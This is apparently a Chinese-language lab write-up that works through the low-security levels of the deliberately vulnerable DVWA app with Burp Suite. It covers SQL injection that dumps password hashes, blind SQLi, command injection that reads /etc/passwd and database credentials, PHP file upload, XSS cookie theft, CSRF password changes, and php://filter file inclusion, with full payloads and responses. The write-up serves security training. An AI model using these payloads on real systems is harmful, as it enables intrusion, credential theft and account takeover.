做一些使用Brup Suite的训练(基础版)
难度为low,先从基础打起
一、SQL Injection
简单的sql注入,这次不从框下手,而是在url做文章
1. 先尝试1'
GET /vulnerabilities/sqli/?id=1%27&Submit=Submit HTTP/1.1Host: 127.0.0.1:8888sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "macOS"Accept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://127.0.0.1:8888/vulnerabilities/sqli/Accept-Encoding: gzip, deflate, brCookie: security=low; PHPSESSID=2b8bb834317b0c774d0ed09680f57912Connection: keep-aliveTips — url编码 会用到的:
- %20 → 空格
- %27 → 单引号 ’
- %23 → 井号 #
- %2C → 逗号 ,
- %3D → 等号 =
其他常用的:
- %22 → 双引号 ”
- %26 → &
- %3B → 分号 ;
- %28“%29 → 左右括号
- %2F → 斜杠 /
%3C``%3E→<``>- %2D → 连字符 -
- %5F → 下划线 _
字母、数字,以及 -._“~ 这四个符号,在 URL 里是安全的,不编码也能正常工作。其余字符编码了都不影响语义,只是变长。
在 Burp 里选中要编码的片段 → 右键 → Convert selection → URL → URL-encode key characters。它会自动把空格、引号、#、& 这些换成 %XX,字母数字保持不变。
双重编码:% 本身也能被编码,它的编码是 %25。所以 %27 再编码一次会变成 %2527:% → %25,后面 27 原样保留。用于绕过waf。
返回
HTTP/1.1 200 OKDate: Tue, 20 Oct 2026 00:36:39 GMTServer: Apache/2.4.68 (Debian)X-Powered-By: PHP/8.5.11Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheVary: Accept-EncodingContent-Length: 581Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=UTF-8
<br /><b>Fatal error</b>: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1 in /var/www/html/vulnerabilities/sqli/source/low.php:11Stack trace:#0 /var/www/html/vulnerabilities/sqli/source/low.php(11): mysqli_query(Object(mysqli), 'SELECT first_na...')#1 /var/www/html/vulnerabilities/sqli/index.php(34): require_once('/var/www/html/v...')#2 {main} thrown in <b>/var/www/html/vulnerabilities/sqli/source/low.php</b> on line <b>11</b><br />mysqli_sql_exception:PHP抛出的数据库异常对象You have an error in your SQL syntax:SQL语句语法不成立MariaDB server version:数据库类型暴露了,后面写 payload 要靠它near ''1''':出错位置的片段。最外层两个引号是报错的包裹,里面真正的内容是'1''——那个1'拼进去后,多出来的一个引号low.php:11:文件路径和行号都给了
2. 尝试AND '1'='1
GET /vulnerabilities/sqli/?id=1%27%20AND%20%271%27%3D%271&Submit=Submit HTTP/1.1报错消失,返回一行
<pre>ID: 1' AND '1'='1<br />First name: admin<br />Surname: admin</pre>3. 尝试AND '1'='2
GET /vulnerabilities/sqli/?id=1%27%20AND%20%271%27%3D%272&Submit=Submit HTTP/1.1页面里没有任何<pre>块,只有表单
4. 尝试OR '1'='1
GET /vulnerabilities/sqli/?id=1%27%20OR%20%271%27%3D%271&Submit=Submit HTTP/1.1返回
<pre>ID: 1' OR '1'='1<br />First name: admin<br />Surname: admin</pre><pre>ID: 1' OR '1'='1<br />First name: Gordon<br />Surname: Brown</pre><pre>ID: 1' OR '1'='1<br />First name: Hack<br />Surname: Me</pre><pre>ID: 1' OR '1'='1<br />First name: Pablo<br />Surname: Picasso</pre><pre>ID: 1' OR '1'='1<br />First name: Bob<br />Surname: Smith</pre>5. 尝试查询密码
SELECT first_name, last_name FROM users WHERE user_id = '-1'UNION SELECT user, password FROM users#';GET /vulnerabilities/sqli/?id=-1%27%20UNION%20SELECT%20user%2Cpassword%20FROM%20users%23&Submit=Submit HTTP/1.1返回
<pre> ID: -1' UNION SELECT user,password FROM users#<br /> First name: admin<br /> Surname: 5f4dcc3b5aa765d61d8327deb882cf99 </pre> <pre> ID: -1' UNION SELECT user,password FROM users#<br /> First name: gordonb<br /> Surname: e99a18c428cb38d5f260853678922e03 </pre> <pre> ID: -1' UNION SELECT user,password FROM users#<br /> First name: 1337<br /> Surname: 8d3533d75ae2c3966d7e0d4fcc69216b </pre> <pre> ID: -1' UNION SELECT user,password FROM users#<br /> First name: pablo<br /> Surname: 0d107d09f5bbe40cade3de5c71e9e9b7 </pre> <pre> ID: -1' UNION SELECT user,password FROM users#<br /> First name: smithy<br /> Surname: 5f4dcc3b5aa765d61d8327deb882cf99 </pre>拿到密码,完结撒花
Tips — 关于这几个语句
1' AND '1'='1拼出来是WHERE user_id = '1' AND '1'='1',‘1’(闭合)、AND ‘1’=‘1’(新条件)、末尾那个 ’ 是原 SQL 自带的收尾引号——它刚好跟 ‘1’ 的开引号配成一对。对每一行判断:user_id = ‘1’ 为真,并且 ‘1’=‘1’ 恒真,所以只有 user_id=1 那行通过。1' AND '1'='2拼出来是WHERE user_id = '1' AND '1'='2',‘1’=‘2’ 恒假。任何一行都过不了 AND,结果集为空。1' OR '1'='1拼出来WHERE user_id = '1' OR '1'='1',‘1’=‘1’ 恒真,OR 只要一边真就算真——所以每一行都通过,5 行全出来。这就是 OR ‘1’=‘1’ 能拿到全表的原因:它不是”绕过了条件”,而是让条件对每一行都成立。-1' UNION SELECT user,password FROM users#拼出来
SELECT first_name, last_name FROM users WHERE user_id = '-1'UNIONSELECT user, password FROM users#';UNION —— 把上下两个查询的结果拼成一个结果集(上下叠,不是左右拼)
两个查询的列数必须一样,原查询 2 列,所以右边也写 2 列
位置对应:user 落到 first_name 显示的位置,password 落到 last_name 的位置
-1 —— 让第一个查询查不到东西,结果里就只剩 UNION 追加的部分
# —— 注释掉原 SQL 剩下的 ‘;
二、SQL Injection (Blind)
1. 一样的套路先尝试1'
GET /vulnerabilities/sqli_blind/?id=1&Submit=Submit HTTP/1.1返回
<pre> User ID exists in the database.</pre>盲注只返回结果存不存在
2. 尝试AND '1'='1
GET /vulnerabilities/sqli_blind/?id=1%27%20AND%20%271%27%3D%271&Submit=Submit HTTP/1.1也返回
<pre> User ID exists in the database.</pre>3. 尝试AND '1'='2
GET /vulnerabilities/sqli_blind/?id=1%27%20AND%20%271%27%3D%272&Submit=Submit HTTP/1.1这次返回
<pre> User ID is MISSING from the database.</pre>4. 猜密码,直接猜个数字5
SELECT ... FROM users WHERE user_id = '1'AND SUBSTRING((SELECT password FROM users WHERE user_id=1), 1, 1) = '5'#'GET /vulnerabilities/sqli_blind/?id=1%27%20AND%20SUBSTRING((SELECT%20password%20FROM%20users%20WHERE%20user_id%3D1)%2C1%2C1)%3D%275%27%23&Submit=Submit HTTP/1.1返回
<pre> User ID exists in the database.</pre>说明密码的第一个字符是5
Tips — 为什么 OR 在盲注里失效
WHERE user_id = '1' AND '1'='2'WHERE user_id = '1' OR '1'='2'第一条:user_id=‘1’ 真,但 ‘1’=‘2’ 假,AND 要求全真,整行被否掉 → 结果集空 → 页面 MISSING。 第二条:user_id=‘1’ 真,OR 只要一个真就够,整行通过 → 结果集非空 → 页面 exists。
关键就在这:条件为假时,OR 被前半段的 user_id=‘1’ 救活了。页面永远回 exists,一个比特都读不出来。
这类问题在我的文章布尔盲注的二分算法中有写,这里直接完结了。
三、Command Injection
命令执行
先填地址
在框里填127.0.0.1,抓包,发现在Request里最下面有ip=127.0.0.1&Submit=Submit
直接send,复现返回ping的结果
<pre> PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.082 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.094 ms 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.094 ms 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.068 ms
--- 127.0.0.1 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3061ms rtt min/avg/max/mdev = 0.068/0.084/0.094/0.010 ms</pre>在地址后面加上;id
发现返回有变化
<pre> PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.064 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.091 ms 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.089 ms 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.059 ms
--- 127.0.0.1 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3090ms rtt min/avg/max/mdev = 0.059/0.075/0.091/0.014 ms uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>Tips — Linux里的用户
root 特殊在哪 uid 0 是唯一能绕过常规权限检查的身份。普通用户受文件权限约束:文件是 640,你不是属主也不是同组,就是读不了。root 不受这个约束——它能读任何文件、改任何文件、改文件属主、绑定 1024 以下端口、装内核模块。
www-data 是什么 它是系统服务账号,不是给人登录用的:没有可用密码,shell 通常是 /usr/sbin/nologin,存在的唯一目的:让 Web 服务以一个低权限身份运行
具体差异
同样是 cat /etc/shadow: root:能读到哈希 www-data:Permission denied
同样改 /etc/passwd: root:能改 www-data:只读
同样装软件: root:apt install 能跑 www-data:没有权限
www-data 是 Debian 系镜像里 Apache 的默认运行用户,uid 固定是 33。 说明我现在在这个主机里的身份是www-data
Tips — 分隔符
- ; → 顺序执行,前一条跑完再跑后一条(最常用)
- | → 管道,把前一条的输出交给后一条当输入
- && → 前一条成功才跑后一条
- || → 前一条失败才跑后一条
- $() → 命令替换,把里面的输出当成字符串塞回去
在地址后面加cat /etc/passwd
ip=127.0.0.1;cat /etc/passwd&Submit=Submit返回
<pre>PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.161 ms64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.087 ms64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.072 ms64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.093 ms
--- 127.0.0.1 ping statistics ---4 packets transmitted, 4 received, 0% packet loss, time 3112msrtt min/avg/max/mdev = 0.072/0.103/0.161/0.034 msroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin_apt:x:42:65534::/nonexistent:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin</pre>这是 /etc/passwd,Linux 的用户账户数据库。每行一个用户,七个字段,用冒号分隔。
读源码
ip=127.0.0.1;ls -la /var/www/html&Submit=Submit返回
<pre>PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.102 ms64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.096 ms64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.095 ms64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.097 ms
--- 127.0.0.1 ping statistics ---4 packets transmitted, 4 received, 0% packet loss, time 3070msrtt min/avg/max/mdev = 0.095/0.097/0.102/0.002 mstotal 652drwxrwxrwt 1 www-data www-data 4096 Oct 7 14:15 .drwxr-xr-x 1 root root 4096 Oct 6 01:21 ..-rw-r--r-- 1 www-data www-data 474 Oct 7 14:15 .gitattributes-rw-r--r-- 1 www-data www-data 7134 Oct 7 14:15 CHANGELOG.md-rw-r--r-- 1 www-data www-data 32485 Oct 7 14:15 COPYING.txt-rw-r--r-- 1 www-data www-data 27018 Oct 7 14:15 README.ar.md-rw-r--r-- 1 www-data www-data 23561 Oct 7 14:15 README.es.md-rw-r--r-- 1 www-data www-data 50737 Oct 7 14:15 README.fa.md-rw-r--r-- 1 www-data www-data 23623 Oct 7 14:15 README.fr.md-rw-r--r-- 1 www-data www-data 27946 Oct 7 14:15 README.id.md-rw-r--r-- 1 www-data www-data 35216 Oct 7 14:15 README.it.md-rw-r--r-- 1 www-data www-data 32720 Oct 7 14:15 README.ko.md-rw-r--r-- 1 www-data www-data 33392 Oct 7 14:15 README.md-rw-r--r-- 1 www-data www-data 30772 Oct 7 14:15 README.pl.md-rw-r--r-- 1 www-data www-data 23033 Oct 7 14:15 README.pt.md-rw-r--r-- 1 www-data www-data 54793 Oct 7 14:15 README.ru.md-rw-r--r-- 1 www-data www-data 21687 Oct 7 14:15 README.tr.md-rw-r--r-- 1 www-data www-data 53282 Oct 7 14:15 README.uk.md-rw-r--r-- 1 www-data www-data 35011 Oct 7 14:15 README.vi.md-rw-r--r-- 1 www-data www-data 18978 Oct 7 14:15 README.zh.md-rw-r--r-- 1 www-data www-data 151 Oct 7 14:15 SECURITY.md-rw-r--r-- 1 www-data www-data 2862 Oct 7 14:15 about.phpdrwxr-xr-x 1 www-data www-data 4096 Oct 7 14:29 configdrwxr-xr-x 2 www-data www-data 4096 Oct 7 14:15 databasedrwxr-xr-x 3 www-data www-data 4096 Oct 7 14:15 docsdrwxr-xr-x 6 www-data www-data 4096 Oct 7 14:15 dvwadrwxr-xr-x 3 www-data www-data 4096 Oct 7 14:15 external-rw-r--r-- 1 www-data www-data 1406 Oct 7 14:15 favicon.icodrwxr-xr-x 5 www-data www-data 4096 Oct 7 14:15 hackable-rw-r--r-- 1 www-data www-data 3678 Oct 7 14:15 index.php-rw-r--r-- 1 www-data www-data 2053 Oct 7 14:15 instructions.php-rw-r--r-- 1 www-data www-data 4343 Oct 7 14:15 login.php-rw-r--r-- 1 www-data www-data 405 Oct 7 14:15 logout.php-rw-r--r-- 1 www-data www-data 154 Oct 7 14:15 php.ini-rw-r--r-- 1 www-data www-data 188 Oct 7 14:15 phpinfo.php-rw-r--r-- 1 www-data www-data 25 Oct 7 14:15 robots.txt-rw-r--r-- 1 www-data www-data 3300 Oct 7 14:15 security.php-rw-r--r-- 1 www-data www-data 151 Oct 7 14:15 security.txt-rw-r--r-- 1 www-data www-data 5552 Oct 7 14:15 setup.phpdrwxr-xr-x 2 www-data www-data 4096 Oct 7 14:15 testsdrwxr-xr-x 1 www-data www-data 4096 Oct 7 14:15 vulnerabilities</pre>发现主机文件
读密码
ip=127.0.0.1;cat /var/www/html/config/config.inc.php&Submit=Submit返回
<pre>PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.110 ms64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.148 ms64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.094 ms64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.097 ms
--- 127.0.0.1 ping statistics ---4 packets transmitted, 4 received, 0% packet loss, time 3111msrtt min/avg/max/mdev = 0.094/0.112/0.148/0.021 ms<?php
# If you are having problems connecting to the MySQL database and all of the variables below are correct# try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets.# Thanks to @digininja for the fix.
# Database management system to use$DBMS = getenv('DBMS') ?: 'MySQL';#$DBMS = 'PGSQL'; // Currently disabled
# Database variables# WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.# Please use a database dedicated to DVWA.## If you are using MariaDB then you cannot use root, you must use create a dedicated DVWA user.# See README.md for more information on this.$_DVWA = array();$_DVWA[ 'db_server' ] = getenv('DB_SERVER') ?: '127.0.0.1';$_DVWA[ 'db_database' ] = getenv('DB_DATABASE') ?: 'dvwa';$_DVWA[ 'db_user' ] = getenv('DB_USER') ?: 'dvwa';$_DVWA[ 'db_password' ] = getenv('DB_PASSWORD') ?: 'p@ssw0rd';$_DVWA[ 'db_port'] = getenv('DB_PORT') ?: '3306';
# ReCAPTCHA settings# Used for the 'Insecure CAPTCHA' module# You'll need to generate your own keys at: https://www.google.com/recaptcha/admin$_DVWA[ 'recaptcha_public_key' ] = getenv('RECAPTCHA_PUBLIC_KEY') ?: '';$_DVWA[ 'recaptcha_private_key' ] = getenv('RECAPTCHA_PRIVATE_KEY') ?: '';
# Default security level# Default value for the security level with each session.# The default is 'impossible'. You may wish to set this to either 'low', 'medium', 'high' or impossible'.$_DVWA[ 'default_security_level' ] = getenv('DEFAULT_SECURITY_LEVEL') ?: 'impossible';
# Default locale# Default locale for the help page shown with each session.# The default is 'en'. You may wish to set this to either 'en' or 'zh'.$_DVWA[ 'default_locale' ] = getenv('DEFAULT_LOCALE') ?: 'en';
# Disable authentication# Some tools don't like working with authentication and passing cookies around# so this setting lets you turn off authentication.$_DVWA[ 'disable_authentication' ] = getenv('DISABLE_AUTHENTICATION') ?: false;
define ('MYSQL', 'mysql');define ('SQLITE', 'sqlite');
# SQLi DB Backend# Use this to switch the backend database used in the SQLi and Blind SQLi labs.# This does not affect the backend for any other services, just these two labs.# If you do not understand what this means, do not change it.$_DVWA['SQLI_DB'] = getenv('SQLI_DB') ?: MYSQL;#$_DVWA['SQLI_DB'] = SQLITE;#$_DVWA['SQLITE_DB'] = 'sqli.db';
?></pre>可以看出来
$_DVWA[ 'db_server' ] = getenv('DB_SERVER') ?: '127.0.0.1';$_DVWA[ 'db_database' ] = getenv('DB_DATABASE') ?: 'dvwa';$_DVWA[ 'db_user' ] = getenv('DB_USER') ?: 'dvwa';$_DVWA[ 'db_password' ] = getenv('DB_PASSWORD') ?: 'p@ssw0rd';$_DVWA[ 'db_port'] = getenv('DB_PORT') ?: '3306';库名:dvwa 用户:dvwa 密码:p@ssw0rd 端口:3306
完结看下一题
四、File Upload
文件上传
先随便上传一张图片
Content-Disposition: form-data; name="uploaded"; filename="æªå±2026-06-12 15.26.45.png"Content-Type: image/png返回
<pre> ../../hackable/uploads/截屏2026-06-12 15.26.45.png succesfully uploaded!</pre>落点是 hackable/uploads/,前面的 ../../ 是从 /vulnerabilities/upload/ 退回网站根。 文件名原样保留了——中文、空格、点号,一个字符都没改。说明服务端直接用了客户端提供的 filename,没重命名、没过滤。
改文件
------WebKitFormBoundary1D8y2JPizU01HE3gContent-Disposition: form-data; name="MAX_FILE_SIZE"
100000------WebKitFormBoundary1D8y2JPizU01HE3gContent-Disposition: form-data; name="uploaded"; filename="test.php"Content-Type: application/x-php
<?php echo 7*7; ?>------WebKitFormBoundary1D8y2JPizU01HE3gContent-Disposition: form-data; name="Upload"
Upload------WebKitFormBoundary1D8y2JPizU01HE3g--Tips — 分割线
boundary 是一串随机字符,浏览器每次生成都不一样。 它的作用:在正文里画分隔线。正文中凡是出现 ------WebKitFormBoundary1D8y2JPizU01HE3g 这一行,就表示”上一段结束,下一段开始”。 随机是为了保证——这串字符几乎不可能恰好出现在你的文件内容里。如果固定成 ----,那文件里有个 ---- 就乱套了。
最后一行,------WebKitFormBoundary1D8y2JPizU01HE3g--前面每段的分隔线是 —boundary,最后一个是 —boundary—。这个 — 的意思是”到此为止,没有更多段了”。没有它,服务器不知道 body 结束了没有,可能一直等,或者直接判定不完整。
将png改成test.php,文件内容是<?php echo 7*7; ?>
Tips — 为什么php这样写 直接看源码:
if( isset( $_POST[ 'Upload' ] ) ) { $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { $html .= '<pre>Your image was not uploaded.</pre>'; } else { $html .= "<pre>{$target_path} succesfully uploaded!</pre>"; }}整段只做四件事:判断提交、算路径、移动文件、报结果。没有任何一句在检查”这个文件能不能传”。
第一行:为什么是 _POST。所以 isset($_POST[‘Upload’]) 的语义是”用户点过提交按钮”。它是个流程开关,不是安全检查。作用是”没提交就别执行”。
第二行:路径是拼出来的。DVWA_WEB_PAGE_TO_ROOT 是个常量,指向网站根目录(/var/www/html/)。所以目标是 hackable/uploads/。
第三行:basename() 是这里唯一的防御,$_FILES[‘uploaded’][‘name’] 是客户端提供的文件名,来自 multipart 里那行:Content-Disposition: form-data; name="uploaded"; filename="test.php"这个值完全由自己控制。Burp 里写什么,它就是什么。basename() 的作用是去掉路径部分:它防的是”路径穿越”——如果你写 filename=”../../../var/www/html/shell.php”,不加 basename 就会把文件写到 uploads 目录外面去。但它不改变后缀。shell.php 经过 basename 还是 shell.php。
第四行:为什么必须用 move_uploaded_file,不能换成 rename() 或 copy()。PHP 处理上传的流程是两步:文件先落到临时目录,比如 /tmp/phpAbC123,脚本结束后,临时文件自动删除。
$_FILES 的五个字段,必须分清可信度,一个上传文件在 PHP 里长这样:
$_FILES['uploaded']['name'] 客户端给的文件名 ← 不可信$_FILES['uploaded']['type'] 客户端声明的 MIME ← 不可信$_FILES['uploaded']['tmp_name'] 服务器生成的临时路径 ← 可信$_FILES['uploaded']['error'] 错误码 ← 可信$_FILES['uploaded']['size'] 实际字节数 ← 可信前两个来自 multipart 请求头,攻击者想写什么写什么。后三个由 PHP 在收到文件后自己填,改不了。
<?php echo 7*7; ?>是探针,负责区分服务器是否把php当文件执行,还是当静态文件返回。访问它,页面显示 49,从”显示原文”变成”显示计算结果”,就证明服务器执行了它。
返回
<pre> ../../hackable/uploads/test.php succesfully uploaded!</pre>打开页面显示49说明成功了,下一题。
五、XSS (Reflected)
反射型 XSS 指攻击者把恶意脚本作为请求的一部分发送给服务器,服务器没有存储,而是原样“反射”回响应页面,浏览器执行后触发。恶意代码不落地数据库,只存在于单次请求/响应中。
先输入test试试
GET /vulnerabilities/xss_r/?name=test HTTP/1.1返回
<pre> Hello test</pre>输入<b>test</b>看看会不会执行html代码
打开页面发现test变成粗体,说明被执行
输入<script>alert(1)</script>看看会不会执行js代码
打开页面发现弹窗,说明被执行
输入<script>alert(document.cookie)</script>
可以看到
PHPSESSID=2b8bb834317b0c774d0ed09680f57912; security=low用户的个人状态
用
<script>fetch('/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change')</script>可以直接改用户密码
那么到这里就完结了。
六、CSRF(跨站请求伪造)
CSRF 不偷 cookie,它借用 cookie。你的浏览器会自动把当前站点的 cookie 带在请求上,攻击者只要让你”无意中访问一个链接”,那个请求就带着你的身份发出去了。
随便改个密码试试
GET /vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change HTTP/1.1返回
<pre>Password Changed.</pre>发现它是 GET,参数全在 URL 里,没有 token,也不需要旧密码。
密码就直接改成123了,下一题。
七、File Inclusion(文件包含)
原理: 代码写的是:
include( $_GET['page'] );page 参数被直接当成文件路径交给 include。你让它包含哪个文件,它就包含哪个。
先抓包
GET /vulnerabilities/fi/?page=file1.php HTTP/1.1发现可以在url构造
试试绝对路径
GET /vulnerabilities/fi/?page=/etc/passwd HTTP/1.1返回
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin_apt:x:42:65534::/nonexistent:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin说明可以读任意文件
读config.inc.php
直接 include 一个 .php 文件,你会看到它执行后的输出,不是源码。 用 php://filter 把它转成 base64 再输出:
page=php://filter/convert.base64-encode/resource=../config/config.inc.php编码:
GET /vulnerabilities/fi/?page=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2Fconfig%2Fconfig.inc.php HTTP/1.1返回报错,发现用相对路径不行,要用绝对路径
/var/www/html/config/config.inc.php编码:
GET /vulnerabilities/fi/?page=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fvar%2Fwww%2Fhtml%2Fconfig%2Fconfig.inc.php HTTP/1.1返回
PD9waHAKCiMgSWYgeW91IGFyZSBoYXZpbmcgcHJvYmxlbXMgY29ubmVjdGluZyB0byB0aGUgTXlTUUwgZGF0YWJhc2UgYW5kIGFsbCBvZiB0aGUgdmFyaWFibGVzIGJlbG93IGFyZSBjb3JyZWN0CiMgdHJ5IGNoYW5naW5nIHRoZSAnZGJfc2VydmVyJyB2YXJpYWJsZSBmcm9tIGxvY2FsaG9zdCB0byAxMjcuMC4wLjEuIEZpeGVzIGEgcHJvYmxlbSBkdWUgdG8gc29ja2V0cy4KIyAgIFRoYW5rcyB0byBAZGlnaW5pbmphIGZvciB0aGUgZml4LgoKIyBEYXRhYmFzZSBtYW5hZ2VtZW50IHN5c3RlbSB0byB1c2UKJERCTVMgPSBnZXRlbnYoJ0RCTVMnKSA/OiAnTXlTUUwnOwojJERCTVMgPSAnUEdTUUwnOyAvLyBDdXJyZW50bHkgZGlzYWJsZWQKCiMgRGF0YWJhc2UgdmFyaWFibGVzCiMgICBXQVJOSU5HOiBUaGUgZGF0YWJhc2Ugc3BlY2lmaWVkIHVuZGVyIGRiX2RhdGFiYXNlIFdJTEwgQkUgRU5USVJFTFkgREVMRVRFRCBkdXJpbmcgc2V0dXAuCiMgICBQbGVhc2UgdXNlIGEgZGF0YWJhc2UgZGVkaWNhdGVkIHRvIERWV0EuCiMKIyBJZiB5b3UgYXJlIHVzaW5nIE1hcmlhREIgdGhlbiB5b3UgY2Fubm90IHVzZSByb290LCB5b3UgbXVzdCB1c2UgY3JlYXRlIGEgZGVkaWNhdGVkIERWV0EgdXNlci4KIyAgIFNlZSBSRUFETUUubWQgZm9yIG1vcmUgaW5mb3JtYXRpb24gb24gdGhpcy4KJF9EVldBID0gYXJyYXkoKTsKJF9EVldBWyAnZGJfc2VydmVyJyBdICAgPSBnZXRlbnYoJ0RCX1NFUlZFUicpID86ICcxMjcuMC4wLjEnOwokX0RWV0FbICdkYl9kYXRhYmFzZScgXSA9IGdldGVudignREJfREFUQUJBU0UnKSA/OiAnZHZ3YSc7CiRfRFZXQVsgJ2RiX3VzZXInIF0gICAgID0gZ2V0ZW52KCdEQl9VU0VSJykgPzogJ2R2d2EnOwokX0RWV0FbICdkYl9wYXNzd29yZCcgXSA9IGdldGVudignREJfUEFTU1dPUkQnKSA/OiAncEBzc3cwcmQnOwokX0RWV0FbICdkYl9wb3J0J10gICAgICA9IGdldGVudignREJfUE9SVCcpID86ICczMzA2JzsKCiMgUmVDQVBUQ0hBIHNldHRpbmdzCiMgICBVc2VkIGZvciB0aGUgJ0luc2VjdXJlIENBUFRDSEEnIG1vZHVsZQojICAgWW91J2xsIG5lZWQgdG8gZ2VuZXJhdGUgeW91ciBvd24ga2V5cyBhdDogaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS9yZWNhcHRjaGEvYWRtaW4KJF9EVldBWyAncmVjYXB0Y2hhX3B1YmxpY19rZXknIF0gID0gZ2V0ZW52KCdSRUNBUFRDSEFfUFVCTElDX0tFWScpID86ICcnOwokX0RWV0FbICdyZWNhcHRjaGFfcHJpdmF0ZV9rZXknIF0gPSBnZXRlbnYoJ1JFQ0FQVENIQV9QUklWQVRFX0tFWScpID86ICcnOwoKIyBEZWZhdWx0IHNlY3VyaXR5IGxldmVsCiMgICBEZWZhdWx0IHZhbHVlIGZvciB0aGUgc2VjdXJpdHkgbGV2ZWwgd2l0aCBlYWNoIHNlc3Npb24uCiMgICBUaGUgZGVmYXVsdCBpcyAnaW1wb3NzaWJsZScuIFlvdSBtYXkgd2lzaCB0byBzZXQgdGhpcyB0byBlaXRoZXIgJ2xvdycsICdtZWRpdW0nLCAnaGlnaCcgb3IgaW1wb3NzaWJsZScuCiRfRFZXQVsgJ2RlZmF1bHRfc2VjdXJpdHlfbGV2ZWwnIF0gPSBnZXRlbnYoJ0RFRkFVTFRfU0VDVVJJVFlfTEVWRUwnKSA/OiAnaW1wb3NzaWJsZSc7CgojIERlZmF1bHQgbG9jYWxlCiMgICBEZWZhdWx0IGxvY2FsZSBmb3IgdGhlIGhlbHAgcGFnZSBzaG93biB3aXRoIGVhY2ggc2Vzc2lvbi4KIyAgIFRoZSBkZWZhdWx0IGlzICdlbicuIFlvdSBtYXkgd2lzaCB0byBzZXQgdGhpcyB0byBlaXRoZXIgJ2VuJyBvciAnemgnLgokX0RWV0F